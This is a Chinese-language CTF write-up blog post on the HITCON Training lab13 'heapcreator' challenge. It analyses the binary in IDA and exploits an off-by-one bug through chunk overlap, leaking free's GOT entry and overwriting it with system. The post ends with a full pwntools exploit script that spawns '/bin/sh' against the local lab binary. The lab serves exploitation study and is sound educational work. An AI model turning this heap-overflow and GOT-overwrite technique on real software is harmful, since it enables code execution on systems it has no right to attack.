HITCON Trainging lab13——CTFwiki

HITCON Trainging lab13——CTFwiki

题目链接

查看程序

在这里插入图片描述
根据结果得知,该程序为64位程序;

开启了NX、Canary和Partial RELRO保护;

IDA64分析程序

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char choice[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    read(0, choice, 4uLL);		//读取用户输入
    switch ( atoi(choice) )		//可以看出这是一个编辑堆(heap)的程序
    {
      case 1:
        create_heap();	
        break;
      case 2:
        edit_heap();	
        break;
      case 3:
        show_heap();
        break;
      case 4:
        delete_heap();
        break;
      case 5:
        exit(0);
      default:
        puts("Invalid Choice");
        break;
    }
  }
}

create_heap

unsigned __int64 create_heap()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char input_size[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      *(&heaparray + i) = malloc(0x10uLL);	//创建保存即将创建堆块信息的堆块
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, input_size, 8uLL);	//输入需要创建堆块的大小
      size = atoi(input_size);
      v0 = (__int64)*(&heaparray + i);
      *(_QWORD *)(v0 + 8) = malloc(size);
      if ( !*((_QWORD *)*(&heaparray + i) + 1) )	//判断对应大小的堆块是否创建成功
      {
        puts("Allocate Error");
        exit(2);
      }
      *(_QWORD *)*(&heaparray + i) = size;
      printf("Content of heap:");
      read_input(*((_QWORD *)*(&heaparray + i) + 1), size);		
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

由于IDA中F5的反编译功能反编译出来的C语言代码会和真正的代码存在一定出入,粗略看一下就好了;

我们简单的可以看出来,创建堆(create_heap)的过程就是

  1. 先创建一个0x10的堆块来保存即将创建堆块的信息。如果无法创建则报错退出;
  2. 输入需要创建堆块的大小。尝试创建对应大小的堆块,如果无法创建则报错退出;
  3. 输入堆中的内容;

edit_heap

unsigned __int64 edit_heap()
{
  int index; // [rsp+Ch] [rbp-14h]
  char input_index[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, input_index, 4uLL);	//读入需要编辑堆的索引
  index = atoi(input_index);
  if ( index < 0 || index > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + index) )
  {
    printf("Content of heap : ");
    read_input(*((void **)*(&heaparray + index) + 1), *(_QWORD *)*(&heaparray + index) + 1LL);	//读入长度比指定长度大1,读入长度为:*(_QWORD *)*(&heaparray + index) + 1LL
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

根据指定的索引读入原堆块中的大小,并读入新的堆内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞

有点像是故意留下的,应该说就是故意留下的。

show_heap和delete_heap

没什么可说的,就是

简单的输入指定索引的堆的大小和内容;

free掉申请的堆块,使存储对应堆块的指针为null;

漏洞分析

根据IDA的分析,我们可以知道我们可以利用的漏洞为off by one;

简单思路:

  1. 通过off by one修改next chunk的size域,来实现overlap;
  2. 根据heap分配机制,使其中heaparray和heap区域形成前后转换的效果
  3. 通过overlap来覆盖heaparray的指针指向free函数
  4. 由于heaparray指向free函数,通过程序原先的edit,来修改free函数所调用的真实值

分析过程

分析程序申请堆

在这里插入图片描述

通过程序申请两个heap,并查看程序的堆空间可以看出,

申请的heap空间前都申请了一个0x10大小的heap来作为heaparray
在这里插入图片描述

通过查看堆中的内容可以看出,heaparray中保存的信息有两个

  1. 用户申请堆的大小
  2. 用户申请堆内容的地址

漏洞利用

根据前面对程序堆空间的分析,可以得知,

利用off by one溢出覆盖的话,覆盖的是next chunk(也就是下一个申请堆块的heaparray堆块)

如果像上图中申请0x30的堆空间,那么我们off by one溢出覆盖的位置就会使next chunk的pre_size域,而不是我们想要修改的size域

所以我们申请的空间应该要利用到pre_size域。当前面的chunk属于使用状态中,当前chunk的pre_size域在一定情况下,可供前一个chunk使用。

例如:申请一个0x18大小的堆时,申请的堆块的大小只需要0x20即可,由于pre_size+size总共0x10,所以可用空间剩余0x10,此时申请chunk的下一个chunk的pre_size则供申请的chunk使用,0x10+0x8=0x18,满足用户使用需求。

所以本题中,我们第一次申请一个0x18大小的堆空间,在申请一个0x10大小的堆空间,如图所示;
在这里插入图片描述

可以看出堆空间的分配和我们所说的一致

细心的小伙伴应该会发现一个小问题,那就是为什么我明明内容传输的是‘aaaa’,而堆中保存的内容却是‘0x0000000a61616161’。

原因是0a是换行符‘\n’,作为键盘输入的结束符读入;

由于之前IDA分析得知,edit编辑修改的内容读入长度比指定长度大1Byte,刚好能够实现覆盖next chunk的size域;

通过编辑索引为0的堆块,即第一次申请的大小为0x18的堆块,我们构造payload为 b'c'*0x18 + b'\x41'

多出的1字节作为next chunk的大小,上述payload将next chunk大小覆盖为0x41,编辑结果如图所示;
在这里插入图片描述

在修改完heaparray的大小之后已经实现了overlap,使得heaparray覆盖了heap区域

0x103f290~0x103f2c0均为heaparray的chunk

与此同时0x103f2b0~0x103f2c0又为heap的chunk

heap和heaparray转换

在这里插入图片描述

当我们删掉索引为1的堆块时,会free掉两个不同大小的chunk,一个是大小为0x40的chunk,这个是我们通过off by one漏洞修改后的heaparray[1]的chunk,一个是大小为0x20的chunk,这个是原本的heap堆块;

所以我们再次申请一个0x30(加上chunk头共0x40)大小的堆块时,系统就会将释放的0x40的chunk分配给我们

又由于需要一个0x10(加上chunk头共0x20)大小的堆块作为heaparray保存堆块的信息,所以系统会将原本作为heap的0x20大小的chunk分配给heaparray来保存信息;

image-20220822114301030

这时我们就实现了将heap与heaparray前后转换

前面我们知道heaparray中保存了heap的大小,与heap的内容地址指针

由于heaparray位于heap中,我们可以通过修改heaparray内容指针的值来获取系统的信息

修改指针

如上图,我们将heap内容地址修改为指向free函数地址

通过程序中的show函数即可得到,free函数的真实地址

libc_base = free_addr - free_offset即可得到libc的基址;

详细计算过程以及运行结果如下图所示;

在这里插入图片描述

根据图片可以看出我们计算正确;

我们得出了libc_base,可以计算出libc中的system函数的地址

由于我们将heaparray[1]中的内容指针改为程序的free函数指针

我们将free函数指针指向的值改为system函数,即当程序执行free函数时,真正执行的函数为system函数,而不是free函数,以达到getshell的目的。

由于system函数还需要一个参数 /bin/sh

在这里插入图片描述

成功修改程序中free函数指针指向的内容

最后执行delete(0)即可执行system(‘/bin/sh’)实现getshell

image-20220822122943428

exp

from pwn import *

context.log_level = 'info'

p = process('./heapcreator')
elf = ELF('./heapcreator')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def choice(num):
	p.sendlineafter(b'Your choice :', str(num).encode())

def create(size, content):
	choice(1)
	p.sendlineafter(b'Size of Heap : ', str(size).encode())
	p.sendlineafter(b'Content of heap:', content)

def edit(index, content):
	choice(2)
	p.sendlineafter(b'Index :', str(index).encode())
	p.sendlineafter(b'Content of heap : ', content)

def show(index):
	choice(3)
	p.sendlineafter(b'Index :', str(index).encode())

def delete(index):
	choice(4)
	p.sendlineafter(b'Index :', str(index).encode())


create(0x18, b'a'*0x18)
create(0x10, b'b'*0x4)


edit(0, b'/bin/sh'+ b'\x00' + b'a'*0x10 + b'\x41')

delete(1)

create(0x30, p64(0)*4 + p64(0x30) + p64(elf.got['free']))

show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")

free_addr = u64(data.split(b'\n')[0].ljust(8, b'\x00'))
log.success(f'free_addr: {hex(free_addr)}')


libc_base = free_addr - libc.symbols['free']
log.success(f'libc_base: {hex(libc_base)}')


system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))


delete(0)
p.interactive()

第一次写博客,记录一下自己学习的笔记。

如果有什么写得不对的地方,请指正;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值